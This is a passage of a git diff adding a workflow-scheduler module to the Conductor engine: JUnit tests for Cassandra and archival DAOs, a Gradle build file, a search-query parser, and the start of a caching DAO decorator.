dao.saveExecutionRecord(buildExecution("sched-1", "exec-b")); + dao.saveExecutionRecord(buildExecution("sched-2", "exec-c")); + + Map result = + dao.getExecutionsByIds(Set.of("exec-a", "exec-c", "no-such")); + assertEquals(2, result.size()); + assertTrue(result.containsKey("exec-a")); + assertTrue(result.containsKey("exec-c")); + } + + @Test + public void testGetByIds_emptySet_returnsEmpty() { + assertTrue(dao.getExecutionsByIds(Set.of()).isEmpty()); + } + + @Test + public void testGetByIds_nullSet_returnsEmpty() { + assertTrue(dao.getExecutionsByIds(null).isEmpty()); + } + + // ========================================================================= + // Round-trip fidelity + // ========================================================================= + + @Test + public void testRoundTrip_allFields() { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("my-wf"); + req.setVersion(3); + + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId("rt-exec"); + model.setScheduleName("rt-sched"); + model.setWorkflowName("my-wf"); + model.setWorkflowId("wf-instance-789"); + model.setReason("Timeout exceeded"); + model.setStackTrace("java.lang.RuntimeException: Timeout\n\tat Foo.bar(Foo.java:42)"); + model.setState(WorkflowScheduleExecutionModel.State.FAILED); + model.setScheduledTime(1000000L); + model.setExecutionTime(1000500L); + model.setStartWorkflowRequest(req); + + dao.saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = dao.getExecutionById("rt-exec"); + assertNotNull(found); + assertEquals("rt-sched", found.getScheduleName()); + assertEquals("my-wf", found.getWorkflowName()); + assertEquals("wf-instance-789", found.getWorkflowId()); + assertEquals("Timeout exceeded", found.getReason()); + assertTrue(found.getStackTrace().contains("RuntimeException")); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertEquals(Long.valueOf(1000000L), found.getScheduledTime()); + assertEquals(Long.valueOf(1000500L), found.getExecutionTime()); + assertNotNull(found.getStartWorkflowRequest()); + assertEquals("my-wf", found.getStartWorkflowRequest().getName()); + assertEquals(Integer.valueOf(3), found.getStartWorkflowRequest().getVersion()); + } + + // ========================================================================= + // Search + // ========================================================================= + + @Test + public void testSearch_byScheduleName() { + dao.saveExecutionRecord(buildExecution("sched-a", "e1")); + dao.saveExecutionRecord(buildExecution("sched-a", "e2")); + dao.saveExecutionRecord(buildExecution("sched-b", "e3")); + + SearchResult result = dao.searchScheduledExecutions("sched-a", null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + assertTrue(result.getResults().contains("e1")); + assertTrue(result.getResults().contains("e2")); + } + + @Test + public void testSearch_byWorkflowName() { + WorkflowScheduleExecutionModel e1 = buildExecution("wn-sched", "e-wn1"); + e1.setWorkflowName("payment-processor"); + dao.saveExecutionRecord(e1); + + WorkflowScheduleExecutionModel e2 = buildExecution("wn-sched", "e-wn2"); + e2.setWorkflowName("order-fulfillment"); + dao.saveExecutionRecord(e2); + + SearchResult result = + dao.searchScheduledExecutions("workflowName=payment", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("e-wn1", result.getResults().get(0)); + } + + @Test + public void testSearch_byExecutionId() { + dao.saveExecutionRecord(buildExecution("eid-sched", "exact-id-123")); + dao.saveExecutionRecord(buildExecution("eid-sched", "exact-id-456")); + + SearchResult result = + dao.searchScheduledExecutions("executionId=exact-id-123", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("exact-id-123", result.getResults().get(0)); + } + + @Test + public void testSearch_wildcard_returnsAll() { + dao.saveExecutionRecord(buildExecution("sched-1", "e1")); + dao.saveExecutionRecord(buildExecution("sched-2", "e2")); + + SearchResult result = dao.searchScheduledExecutions(null, "*", 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + @Test + public void testSearch_pagination() { + for (int i = 0; i < 5; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("page-sched", "page-" + i); + exec.setScheduledTime(System.currentTimeMillis() + i * 1000L); + dao.saveExecutionRecord(exec); + } + + SearchResult page1 = dao.searchScheduledExecutions("page-sched", null, 0, 2, null); + assertEquals(5, page1.getTotalHits()); + assertEquals(2, page1.getResults().size()); + + SearchResult page2 = dao.searchScheduledExecutions("page-sched", null, 2, 2, null); + assertEquals(5, page2.getTotalHits()); + assertEquals(2, page2.getResults().size()); + } + + // ========================================================================= + // Cleanup + // ========================================================================= + + @Test + public void testCleanupOldRecords() { + // Insert 10 records for the same schedule with increasing scheduled_time + for (int i = 0; i < 10; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("cleanup-sched", "cleanup-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + dao.saveExecutionRecord(exec); + } + + // Keep only 3 records, threshold at 5 (count=10 > threshold=5, so cleanup triggers) + dao.cleanupOldRecords(3, 5); + + // Verify only 3 remain (the most recent ones due to DESC clustering) + SearchResult result = + dao.searchScheduledExecutions("cleanup-sched", null, 0, 20, null); + assertEquals(3, result.getTotalHits()); + } + + @Test + public void testCleanupOldRecords_belowThreshold_noOp() { + for (int i = 0; i < 3; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("noclean-sched", "noclean-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + dao.saveExecutionRecord(exec); + } + + // Threshold is 5, count is 3 — should not clean up + dao.cleanupOldRecords(2, 5); + + SearchResult result = + dao.searchScheduledExecutions("noclean-sched", null, 0, 20, null); + assertEquals(3, result.getTotalHits()); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + private WorkflowScheduleExecutionModel buildExecution(String scheduleName, String executionId) { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("test-wf"); + req.setVersion(1); + + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(executionId); + model.setScheduleName(scheduleName); + model.setWorkflowName("test-wf"); + model.setWorkflowId("wf-" + executionId); + model.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + model.setScheduledTime(System.currentTimeMillis()); + model.setExecutionTime(System.currentTimeMillis()); + model.setStartWorkflowRequest(req); + return model; + } +} diff --git a/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAOTest.java b/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAOTest.java new file mode 100644 index 0000000..6d60d42 --- /dev/null +++ b/scheduler/cassandra-persistence/src/test/java/org/conductoross/conductor/scheduler/cassandra/dao/CassandraSchedulerDAOTest.java @@ -0,0 +1,444 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.cassandra.dao; + +import java.util.*; + +import org.junit.*; +import org.testcontainers.containers.CassandraContainer; + +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; + +import com.datastax.driver.core.Session; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +import static org.junit.Assert.*; + +public class CassandraSchedulerDAOTest { + + private static final String KEYSPACE = "conductor_test"; + + @ClassRule + public static final CassandraContainer cassandra = + new CassandraContainer<>("cassandra:3.11.2"); + + private static Session session; + private static ObjectMapper objectMapper; + private CassandraSchedulerDAO dao; + + @BeforeClass + public static void setUpOnce() { + session = cassandra.getCluster().newSession(); + session.execute( + "CREATE KEYSPACE IF NOT EXISTS " + + KEYSPACE + + " WITH replication = {'class':'SimpleStrategy','replication_factor':1}"); + objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + @Before + public void setUp() { + // Drop and recreate tables to get a clean state + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_schedules"); + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_executions"); + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_exec_by_schedule"); + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_exec_by_state"); + session.execute("DROP TABLE IF EXISTS " + KEYSPACE + ".scheduler_sched_by_workflow"); + CassandraProperties properties = new CassandraProperties(); + properties.setKeyspace(KEYSPACE); + dao = new CassandraSchedulerDAO(session, objectMapper, properties); + } + + @AfterClass + public static void tearDown() { + if (session != null) { + session.close(); + } + } + + // ========================================================================= + // Schedule CRUD + // ========================================================================= + + @Test + public void testSaveAndFindSchedule() { + WorkflowScheduleModel schedule = buildSchedule("test-schedule", "my-workflow"); + dao.updateSchedule(schedule); + + WorkflowScheduleModel found = dao.findScheduleByName("test-schedule"); + + assertNotNull(found); + assertEquals("test-schedule", found.getName()); + assertEquals("my-workflow", found.getStartWorkflowRequest().getName()); + assertEquals("0 0 9 * * MON-FRI", found.getCronExpression()); + assertEquals("UTC", found.getZoneId()); + } + + @Test + public void testFindScheduleByName_notFound_returnsNull() { + assertNull(dao.findScheduleByName("no-such-schedule")); + } + + @Test + public void testUpdateSchedule_upserts() { + WorkflowScheduleModel schedule = buildSchedule("upsert-schedule", "workflow-v1"); + dao.updateSchedule(schedule); + + schedule.setCronExpression("0 0 10 * * *"); + dao.updateSchedule(schedule); + + WorkflowScheduleModel found = dao.findScheduleByName("upsert-schedule"); + assertEquals("0 0 10 * * *", found.getCronExpression()); + } + + @Test + public void testGetAllSchedules() { + dao.updateSchedule(buildSchedule("sched-a", "wf-a")); + dao.updateSchedule(buildSchedule("sched-b", "wf-b")); + dao.updateSchedule(buildSchedule("sched-c", "wf-c")); + + assertEquals(3, dao.getAllSchedules().size()); + } + + @Test + public void testFindAllSchedulesByWorkflow() { + dao.updateSchedule(buildSchedule("s1", "target-wf")); + dao.updateSchedule(buildSchedule("s2", "target-wf")); + dao.updateSchedule(buildSchedule("s3", "other-wf")); + + List results = dao.findAllSchedules("target-wf"); + assertEquals(2, results.size()); + assertTrue( + results.stream() + .allMatch(s -> "target-wf".equals(s.getStartWorkflowRequest().getName()))); + } + + @Test + public void testFindAllByNames() { + dao.updateSchedule(buildSchedule("find-a", "wf-a")); + dao.updateSchedule(buildSchedule("find-b", "wf-b")); + dao.updateSchedule(buildSchedule("find-c", "wf-c")); + + Map result = + dao.findAllByNames(Set.of("find-a", "find-c", "no-such-schedule")); + assertEquals(2, result.size()); + assertTrue(result.containsKey("find-a")); + assertTrue(result.containsKey("find-c")); + } + + @Test + public void testFindAllByNames_emptySet_returnsEmpty() { + assertTrue(dao.findAllByNames(Set.of()).isEmpty()); + } + + @Test + public void testFindAllByNames_nullSet_returnsEmpty() { + assertTrue(dao.findAllByNames(null).isEmpty()); + } + + @Test + public void testDeleteSchedule_removesScheduleAndExecutions() { + dao.updateSchedule(buildSchedule("to-delete", "some-wf")); + WorkflowScheduleExecutionModel exec = buildExecution("to-delete"); + dao.saveExecutionRecord(exec); + + dao.deleteWorkflowSchedule("to-delete"); + + assertNull(dao.findScheduleByName("to-delete")); + assertNull(dao.readExecutionRecord(exec.getExecutionId())); + } + + @Test + public void testDeleteSchedule_nonExistent_doesNotThrow() { + dao.deleteWorkflowSchedule("does-not-exist"); + } + + // ========================================================================= + // JSON round-trip fidelity + // ========================================================================= + + @Test + public void testScheduleJsonRoundTrip_allFields() { + WorkflowScheduleModel schedule = buildSchedule("round-trip-schedule", "round-trip-wf"); + schedule.setZoneId("America/New_York"); + schedule.setPaused(true); + schedule.setPausedReason("maintenance window"); + schedule.setScheduleStartTime(1_000_000L); + schedule.setScheduleEndTime(2_000_000L); + schedule.setRunCatchupScheduleInstances(true); + schedule.setCreateTime(12345L); + schedule.setUpdatedTime(67890L); + schedule.setCreatedBy("alice"); + schedule.setUpdatedBy("bob"); + schedule.setDescription("Daily business hours schedule"); + schedule.setNextRunTime(99999L); + dao.updateSchedule(schedule); + + WorkflowScheduleModel found = dao.findScheduleByName("round-trip-schedule"); + + assertNotNull(found); + assertEquals("America/New_York", found.getZoneId()); + assertTrue(found.isPaused()); + assertEquals("maintenance window", found.getPausedReason()); + assertEquals(Long.valueOf(1_000_000L), found.getScheduleStartTime()); + assertEquals(Long.valueOf(2_000_000L), found.getScheduleEndTime()); + assertTrue(found.isRunCatchupScheduleInstances()); + assertEquals(Long.valueOf(12345L), found.getCreateTime()); + assertEquals(Long.valueOf(67890L), found.getUpdatedTime()); + assertEquals("alice", found.getCreatedBy()); + assertEquals("bob", found.getUpdatedBy()); + assertEquals("Daily business hours schedule", found.getDescription()); + assertEquals(Long.valueOf(99999L), found.getNextRunTime()); + } + + @Test + public void testExecutionJsonRoundTrip_allFields() { + dao.updateSchedule(buildSchedule("exec-rt-schedule", "exec-rt-wf")); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("exec-rt-wf"); + req.setVersion(2); + + WorkflowScheduleExecutionModel exec = buildExecution("exec-rt-schedule"); + exec.setWorkflowId("wf-instance-456"); + exec.setWorkflowName("exec-rt-wf"); + exec.setReason("Something went wrong"); + exec.setStackTrace( + "java.lang.RuntimeException: Something went wrong\n\tat Foo.bar(Foo.java:42)"); + exec.setState(WorkflowScheduleExecutionModel.State.FAILED); + exec.setStartWorkflowRequest(req); + dao.saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao.readExecutionRecord(exec.getExecutionId()); + + assertNotNull(found); + assertEquals("wf-instance-456", found.getWorkflowId()); + assertEquals("exec-rt-wf", found.getWorkflowName()); + assertEquals("Something went wrong", found.getReason()); + assertNotNull(found.getStackTrace()); + assertTrue(found.getStackTrace().contains("RuntimeException")); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertNotNull(found.getStartWorkflowRequest()); + assertEquals("exec-rt-wf", found.getStartWorkflowRequest().getName()); + assertEquals(Integer.valueOf(2), found.getStartWorkflowRequest().getVersion()); + } + + // ========================================================================= + // Execution tracking + // ========================================================================= + + @Test + public void testSaveAndReadExecutionRecord() { + dao.updateSchedule(buildSchedule("exec-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("exec-test"); + dao.saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao.readExecutionRecord(exec.getExecutionId()); + assertNotNull(found); + assertEquals(exec.getExecutionId(), found.getExecutionId()); + assertEquals("exec-test", found.getScheduleName()); + assertEquals(WorkflowScheduleExecutionModel.State.POLLED, found.getState()); + } + + @Test + public void testSaveExecutionRecord_idempotent() { + dao.updateSchedule(buildSchedule("idem-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("idem-test"); + dao.saveExecutionRecord(exec); + dao.saveExecutionRecord(exec); + + List pending = dao.getPendingExecutionRecordIds(); + assertEquals(1, pending.size()); + } + + @Test + public void testUpdateExecutionRecord_transitionToExecuted() { + dao.updateSchedule(buildSchedule("state-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("state-test"); + dao.saveExecutionRecord(exec); + + exec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + exec.setWorkflowId("conductor-wf-123"); + dao.saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao.readExecutionRecord(exec.getExecutionId()); + assertEquals(WorkflowScheduleExecutionModel.State.EXECUTED, found.getState()); + assertEquals("conductor-wf-123", found.getWorkflowId()); + } + + @Test + public void testRemoveExecutionRecord() { + dao.updateSchedule(buildSchedule("remove-exec", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("remove-exec"); + dao.saveExecutionRecord(exec); + + dao.removeExecutionRecord(exec.getExecutionId()); + + assertNull(dao.readExecutionRecord(exec.getExecutionId())); + } + + @Test + public void testGetPendingExecutionRecordIds() { + dao.updateSchedule(buildSchedule("pending-test", "wf")); + + WorkflowScheduleExecutionModel polled1 = buildExecution("pending-test"); + WorkflowScheduleExecutionModel polled2 = buildExecution("pending-test"); + WorkflowScheduleExecutionModel executed = buildExecution("pending-test"); + executed.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + + dao.saveExecutionRecord(polled1); + dao.saveExecutionRecord(polled2); + dao.saveExecutionRecord(executed); + + List pendingIds = dao.getPendingExecutionRecordIds(); + assertEquals(2, pendingIds.size()); + assertTrue(pendingIds.contains(polled1.getExecutionId())); + assertTrue(pendingIds.contains(polled2.getExecutionId())); + } + + @Test + public void testGetPendingExecutionRecordIds_afterTransition() { + dao.updateSchedule(buildSchedule("transition-test", "wf")); + + WorkflowScheduleExecutionModel exec = buildExecution("transition-test"); + dao.saveExecutionRecord(exec); + assertTrue(dao.getPendingExecutionRecordIds().contains(exec.getExecutionId())); + + exec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + dao.saveExecutionRecord(exec); + + assertFalse( + "EXECUTED record must not appear in pending list", + dao.getPendingExecutionRecordIds().contains(exec.getExecutionId())); + } + + // ========================================================================= + // Next-run time management + // ========================================================================= + + @Test + public void testSetAndGetNextRunTime() { + dao.updateSchedule(buildSchedule("next-run-test", "wf")); + + long epochMillis = System.currentTimeMillis() + 60_000; + dao.setNextRunTimeInEpoch("next-run-test", epochMillis); + + assertEquals(epochMillis, dao.getNextRunTimeInEpoch("next-run-test")); + } + + @Test + public void testGetNextRunTime_notSet_returnsMinusOne() { + dao.updateSchedule(buildSchedule("no-next-run", "wf")); + assertEquals(-1L, dao.getNextRunTimeInEpoch("no-next-run")); + } + + @Test + public void testGetNextRunTime_nonExistent_returnsMinusOne() { + assertEquals(-1L, dao.getNextRunTimeInEpoch("non-existent-schedule")); + } + + // ========================================================================= + // Search + // ========================================================================= + + @Test + public void testSearchSchedules_byWorkflowName() { + dao.updateSchedule(buildSchedule("search-1", "search-wf")); + dao.updateSchedule(buildSchedule("search-2", "search-wf")); + dao.updateSchedule(buildSchedule("search-3", "other-wf")); + + SearchResult result = + dao.searchSchedules("search-wf", null, null, null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + @Test + public void testSearchSchedules_byPaused() { + WorkflowScheduleModel paused = buildSchedule("paused-sched", "wf"); + paused.setPaused(true); + dao.updateSchedule(paused); + dao.updateSchedule(buildSchedule("active-sched", "wf")); + + SearchResult result = + dao.searchSchedules(null, null, true, null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("paused-sched", result.getResults().get(0).getName()); + } + + @Test + public void testSearchSchedules_pagination() { + for (int i = 0; i < 5; i++) { + dao.updateSchedule(buildSchedule("page-" + i, "wf")); + } + + SearchResult page1 = + dao.searchSchedules(null, null, null, null, 0, 2, null); + assertEquals(5, page1.getTotalHits()); + assertEquals(2, page1.getResults().size()); + + SearchResult page2 = + dao.searchSchedules(null, null, null, null, 2, 2, null); + assertEquals(5, page2.getTotalHits()); + assertEquals(2, page2.getResults().size()); + } + + // ========================================================================= + // Volume + // ========================================================================= + + @Test + public void testVolume_getAllSchedules_largeCount() { + int count = 100; + for (int i = 0; i < count; i++) { + dao.updateSchedule(buildSchedule("volume-sched-" + i, "wf-" + (i % 10))); + } + + List all = dao.getAllSchedules(); + assertEquals(count, all.size()); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + private WorkflowScheduleModel buildSchedule(String name, String workflowName) { + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + + WorkflowScheduleModel schedule = new WorkflowScheduleModel(); + schedule.setName(name); + schedule.setCronExpression("0 0 9 * * MON-FRI"); + schedule.setZoneId("UTC"); + schedule.setStartWorkflowRequest(startReq); + schedule.setPaused(false); + schedule.setCreateTime(System.currentTimeMillis()); + return schedule; + } + + private WorkflowScheduleExecutionModel buildExecution(String scheduleName) { + WorkflowScheduleExecutionModel exec = new WorkflowScheduleExecutionModel(); + exec.setExecutionId(UUID.randomUUID().toString()); + exec.setScheduleName(scheduleName); + exec.setScheduledTime(System.currentTimeMillis()); + exec.setExecutionTime(System.currentTimeMillis()); + exec.setState(WorkflowScheduleExecutionModel.State.POLLED); + exec.setZoneId("UTC"); + return exec; + } +} diff --git a/scheduler/core/build.gradle b/scheduler/core/build.gradle new file mode 100644 index 0000000..c0d7513 --- /dev/null +++ b/scheduler/core/build.gradle @@ -0,0 +1,41 @@ +plugins { + id 'java' + id 'java-test-fixtures' +} + +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + + implementation 'org.springframework.retry:spring-retry' + implementation 'org.springframework.security:spring-security-core' + implementation "org.apache.commons:commons-lang3" + + implementation "io.micrometer:micrometer-core:${revMicrometer}" + implementation 'com.zaxxer:HikariCP:5.1.0' + implementation "com.google.guava:guava:${revGuava}" + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-jdbc' + compileOnly 'org.springframework.boot:spring-boot-starter-validation' + compileOnly 'org.springframework.boot:spring-boot-starter-web' + compileOnly "org.springdoc:springdoc-openapi-starter-webmvc-ui:${revSpringDoc}" + + + testImplementation 'org.hamcrest:hamcrest' + testImplementation "org.awaitility:awaitility:3.1.6" + + testFixturesImplementation project(':conductor-common') + testFixturesImplementation project(':conductor-core') + testFixturesImplementation 'junit:junit' + testFixturesImplementation 'org.assertj:assertj-core' + testFixturesImplementation 'org.mockito:mockito-core' + testFixturesImplementation 'org.springframework.boot:spring-boot-test-autoconfigure' + testFixturesImplementation 'org.springframework.boot:spring-boot-autoconfigure' + testFixturesImplementation 'org.springframework.retry:spring-retry' + testFixturesImplementation "com.fasterxml.jackson.core:jackson-databind" +} + +test { + useJUnitPlatform() +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerArchivalDAO.java b/scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerArchivalDAO.java new file mode 100644 index 0000000..693f68b --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerArchivalDAO.java @@ -0,0 +1,34 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.dao.archive; + +import java.util.List; +import java.util.Map; +import java.util.Set; + +import com.netflix.conductor.common.run.SearchResult; + +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +public interface SchedulerArchivalDAO { + void saveExecutionRecord(WorkflowScheduleExecutionModel executionModel); + + SearchResult searchScheduledExecutions( + String query, String freeText, int start, int count, List sort); + + Map getExecutionsByIds(Set executionIds); + + WorkflowScheduleExecutionModel getExecutionById(String executionId); + + void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold); +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerSearchQuery.java b/scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerSearchQuery.java new file mode 100644 index 0000000..382051f --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/dao/archive/SchedulerSearchQuery.java @@ -0,0 +1,181 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.dao.archive; + +import java.util.*; + +/** + * Parses the UI search query string into structured filter criteria. The UI generates queries in + * the format: + * + * 

    + * scheduleName IN (val1,val2) AND state IN (POLLED,EXECUTED) AND scheduledTime>12345
+ *     AND workflowName=my-wf AND executionId=abc-123
+ *
    + * + *

    Each clause is parsed into the corresponding field in this class. + */ +public class SchedulerSearchQuery { + + private final List scheduleNames; + private final List states; + private final Long scheduledTimeAfter; + private final Long scheduledTimeBefore; + private final String workflowName; + private final String executionId; + private final String rawQuery; + + private SchedulerSearchQuery( + List scheduleNames, + List states, + Long scheduledTimeAfter, + Long scheduledTimeBefore, + String workflowName, + String executionId, + String rawQuery) { + this.scheduleNames = scheduleNames; + this.states = states; + this.scheduledTimeAfter = scheduledTimeAfter; + this.scheduledTimeBefore = scheduledTimeBefore; + this.workflowName = workflowName; + this.executionId = executionId; + this.rawQuery = rawQuery; + } + + public static SchedulerSearchQuery parse(String query) { + List scheduleNames = new ArrayList<>(); + List states = new ArrayList<>(); + Long scheduledTimeAfter = null; + Long scheduledTimeBefore = null; + String workflowName = null; + String executionId = null; + + if (query == null || query.isEmpty()) { + return new SchedulerSearchQuery(scheduleNames, states, null, null, null, null, query); + } + + String[] clauses = query.split("\\s+AND\\s+"); + for (String clause : clauses) { + clause = clause.trim(); + if (clause.isEmpty()) { + continue; + } + + if (clause.startsWith("scheduleName IN (") && clause.endsWith(")")) { + String csv = clause.substring("scheduleName IN (".length(), clause.length() - 1); + for (String v : csv.split(",")) { + String trimmed = v.trim(); + if (!trimmed.isEmpty()) { + scheduleNames.add(trimmed); + } + } + } else if (clause.startsWith("state IN (") && clause.endsWith(")")) { + String csv = clause.substring("state IN (".length(), clause.length() - 1); + for (String v : csv.split(",")) { + String trimmed = v.trim(); + if (!trimmed.isEmpty()) { + states.add(trimmed); + } + } + } else if (clause.startsWith("scheduledTime>")) { + String val = clause.substring("scheduledTime>".length()).trim(); + scheduledTimeAfter = Long.parseLong(val); + } else if (clause.startsWith("scheduledTime<")) { + String val = clause.substring("scheduledTime<".length()).trim(); + scheduledTimeBefore = Long.parseLong(val); + } else if (clause.startsWith("workflowName=")) { + workflowName = clause.substring("workflowName=".length()).trim(); + } else if (clause.startsWith("executionId=")) { + executionId = clause.substring("executionId=".length()).trim(); + } else { + // Treat unrecognized clause as a literal schedule name + scheduleNames.add(clause); + } + } + + return new SchedulerSearchQuery( + scheduleNames, + states, + scheduledTimeAfter, + scheduledTimeBefore, + workflowName, + executionId, + query); + } + + public List getScheduleNames() { + return scheduleNames; + } + + public List getStates() { + return states; + } + + public Long getScheduledTimeAfter() { + return scheduledTimeAfter; + } + + public Long getScheduledTimeBefore() { + return scheduledTimeBefore; + } + + public String getWorkflowName() { + return workflowName; + } + + public String getExecutionId() { + return executionId; + } + + public boolean hasScheduleNames() { + return !scheduleNames.isEmpty(); + } + + public boolean hasStates() { + return !states.isEmpty(); + } + + public boolean hasTimeFilter() { + return scheduledTimeAfter != null || scheduledTimeBefore != null; + } + + public boolean hasWorkflowName() { + return workflowName != null && !workflowName.isEmpty(); + } + + public boolean hasExecutionId() { + return executionId != null && !executionId.isEmpty(); + } + + public boolean isEmpty() { + return !hasScheduleNames() + && !hasStates() + && !hasTimeFilter() + && !hasWorkflowName() + && !hasExecutionId(); + } + + /** Sort column map from UI field names to typical DB column names. */ + private static final Map SORT_COLUMN_MAP = + Map.of( + "scheduledTime", "scheduled_time", + "executionTime", "execution_time", + "scheduleName", "schedule_name", + "workflowName", "workflow_name", + "state", "state"); + + /** Resolves a UI sort field name to its DB column name. */ + public static String resolveColumnName(String uiFieldName) { + return SORT_COLUMN_MAP.getOrDefault(uiFieldName, "scheduled_time"); + } +} diff --git a/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/CachingSchedulerDAO.java b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/CachingSchedulerDAO.java new file mode 100644 index 0000000..a835170 --- /dev/null +++ b/scheduler/core/src/main/java/io/orkes/conductor/dao/scheduler/CachingSchedulerDAO.java @@ -0,0 +1,128 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.dao.scheduler; + +import java.util.List; +import java.util.Map; +import java.util.Set; + +import com.netflix.conductor.common.run.SearchResult; + +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * Decorating {@link SchedulerDAO} that layers a {@link SchedulerCacheDAO} on top of a delegate DAO. + * Follows the same integration pattern as Orkes Conductor: + * + *

      + *
    • {@code updateSchedule} — write-through (cache + DB) + *
    • {@code findScheduleByName} — read cache first, fall back to DB on miss + *
    • {@code deleteWorkflowSchedule} — invalidate cache, then delete from DB + *
    • {@code getNextRunTimeInEpoch} — cache only (DB fallback when no cache) + *
    • {@code setNextRunTimeInEpoch} — cache only (DB fallback when no cache) + *
    + * + *

